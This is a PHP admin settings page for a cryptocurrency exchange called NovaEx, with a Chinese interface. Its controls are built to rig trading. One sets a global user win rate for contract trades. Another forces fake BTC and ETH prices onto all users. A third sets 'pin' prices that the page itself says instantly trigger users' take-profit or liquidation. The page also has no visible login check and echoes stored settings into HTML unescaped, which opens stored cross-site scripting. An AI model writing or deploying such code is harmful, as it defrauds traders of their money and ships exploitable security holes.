<?php
require_once '../db/config.php';
session_start();
$db = db();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['settings'])) {
        foreach ($_POST['settings'] as $name => $value) {
            $stmt = $db->prepare("INSERT INTO settings (name, value) VALUES (?, ?) ON DUPLICATE KEY UPDATE value = ?");
            $stmt->execute([$name, $value, $value]);
        }
    }
    $message = "系统设置已成功更新。";
}

$settings_res = $db->query("SELECT * FROM settings")->fetchAll();
$settings = [];
foreach($settings_res as $s) $settings[$s['name']] = $s['value'];

$unread_msgs = $db->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' AND is_read = 0")->fetchColumn();
$pending_orders = $db->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ('matching', 'submitting')")->fetchColumn();
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>系统设置 - NovaEx 管理后台</title>
    <link rel="icon" type="image/png" href="../assets/pasted-20260211-152742-c4035b1b.png">
    <link rel="stylesheet" href="../assets/css/custom.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        .admin-layout { display: flex; min-height: 100vh; }
        .sidebar { width: 250px; background: #1E2329; border-right: 1px solid #2B3139; padding: 1rem; }
        .main-content { flex: 1; padding: 2rem; background: #0B0E11; color: white; }
        .menu-item { padding: 12px; color: #848E9C; text-decoration: none; display: flex; align-items: center; gap: 10px; border-radius: 4px; margin-bottom: 5px; }
        .menu-item:hover, .menu-item.active { background: #2B3139; color: white; }
        .badge { background: var(--danger-color); color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; }
        .form-group { margin-bottom: 25px; background: #1E2329; padding: 20px; border-radius: 8px; border: 1px solid #2B3139; }
        .form-group label { display: block; margin-bottom: 10px; color: #848E9C; font-weight: bold; }
        input[type="text"], input[type="number"], select { width: 100%; padding: 10px; background: #0B0E11; border: 1px solid #2B3139; color: white; border-radius: 4px; outline: none; }
        .back-btn { color: #848E9C; text-decoration: none; font-size: 0.9rem; margin-bottom: 20px; display: inline-block; }
        .back-btn:hover { color: white; }
        .admin-logo { width: 200px; height: 80px; object-fit: contain; }
    </style>
</head>
<body>
<div class="admin-layout">
    <div class="sidebar">
        <div style="display: flex; flex-direction: column; align-items: center; margin-bottom: 2rem; gap: 10px;">
            <img src="../assets/pasted-20260211-152742-c4035b1b.png" alt="Logo" class="admin-logo">
            <div style="color: white; font-weight: bold; font-size: 0.9rem;">NovaEx 管理员</div>
        </div>
        <a href="index.php" class="menu-item"><i class="fas fa-chart-pie"></i> 仪表盘</a>
        <a href="users.php" class="menu-item"><i class="fas fa-users"></i> 用户管理</a>
        <a href="kyc.php" class="menu-item"><i class="fas fa-id-card"></i> KYC 审核</a>
        <a href="chat.php" class="menu-item">
            <i class="fas fa-headset"></i> 客服管理
            <?php if($unread_msgs > 0 || $pending_orders > 0): ?><span class="badge"><?php echo ($unread_msgs + $pending_orders); ?></span><?php endif; ?>
        </a>
        <a href="spot_orders.php" class="menu-item"><i class="fas fa-exchange-alt"></i> 现货交易</a>
        <a href="futures_orders.php" class="menu-item"><i class="fas fa-file-contract"></i> 合约交易</a>
        <a href="orders.php" class="menu-item"><i class="fas fa-wallet"></i> 充值记录</a>
        <a href="settings.php" class="menu-item active"><i class="fas fa-cog"></i> 系统设置</a>
    </div>
    <div class="main-content">
        <a href="index.php" class="back-btn"><i class="fas fa-arrow-left"></i> 返回</a>
        <h2>系统控制面板</h2>
        
        <?php if(isset($message)): ?>
            <div style="background: rgba(0,255,0,0.1); color: #00ff00; padding: 15px; border-radius: 4px; margin-bottom: 20px;"><i class="fas fa-check-circle"></i> <?php echo $message; ?></div>
        <?php endif; ?>

        <form method="POST">
            <h3 style="margin: 30px 0 15px 0; color: #F0B90B;">1. 交易与胜率控制</h3>
            <div class="form-group">
                <label>全局胜率控制 (%)</label>
                <input type="number" name="settings[win_rate]" value="<?php echo $settings['win_rate'] ?? 70; ?>" min="0" max="100">
                <p style="font-size: 0.8rem; color: #5e6673; margin-top: 5px;">设置用户在秒合约/永续合约中的全局获利概率 (0-100)。</p>
            </div>

            <h3 style="margin: 30px 0 15px 0; color: #F0B90B;">2. 价格操纵与插针控制</h3>
            <div class="form-group">
                <label>价格控制模式</label>
                <select name="settings[price_control]">
                    <option value="0" <?php echo ($settings['price_control'] ?? '0') == '0' ? 'selected' : ''; ?>>实时行情 (API 自动同步)</option>
                    <option value="1" <?php echo ($settings['price_control'] ?? '0') == '1' ? 'selected' : ''; ?>>强制控价 (所有用户看到指定价格)</option>
                </select>
            </div>

            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div class="form-group">
                    <label>BTC 指定价格 ($)</label>
                    <input type="number" name="settings[manual_btc_price]" value="<?php echo $settings['manual_btc_price'] ?? 0; ?>" step="0.01">
                </div>
                <div class="form-group">
                    <label>BTC 插针价格 ($)</label>
                    <input type="number" name="settings[pin_btc_price]" value="<?php echo $settings['pin_btc_price'] ?? 0; ?>" step="0.01">
                    <p style="font-size: 0.75rem; color: #f6465d; margin-top: 5px;">插针价格用于瞬间触发用户的止盈或爆仓。</p>
                </div>
            </div>

            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div class="form-group">
                    <label>ETH 指定价格 ($)</label>
                    <input type="number" name="settings[manual_eth_price]" value="<?php echo $settings['manual_eth_price'] ?? 0; ?>" step="0.01">
                </div>
                <div class="form-group">
                    <label>ETH 插针价格 ($)</label>
                    <input type="number" name="settings[pin_eth_price]" value="<?php echo $settings['pin_eth_price'] ?? 0; ?>" step="0.01">
                </div>
            </div>

            <h3 style="margin: 30px 0 15px 0; color: #F0B90B;">3. 其他配置</h3>
            <div class="form-group">
                <label>系统公告内容 (简体中文)</label>
                <input type="text" name="settings[announcement_zh]" value="<?php echo $settings['announcement_zh'] ?? ''; ?>" placeholder="输入显示在首页顶部的公告...">
            </div>

            <button type="submit" class="btn-primary" style="padding: 12px 40px; font-weight: bold; border-radius: 8px; cursor: pointer;">保存所有设置</button>
        </form>
    </div>
</div>
</body>
</html>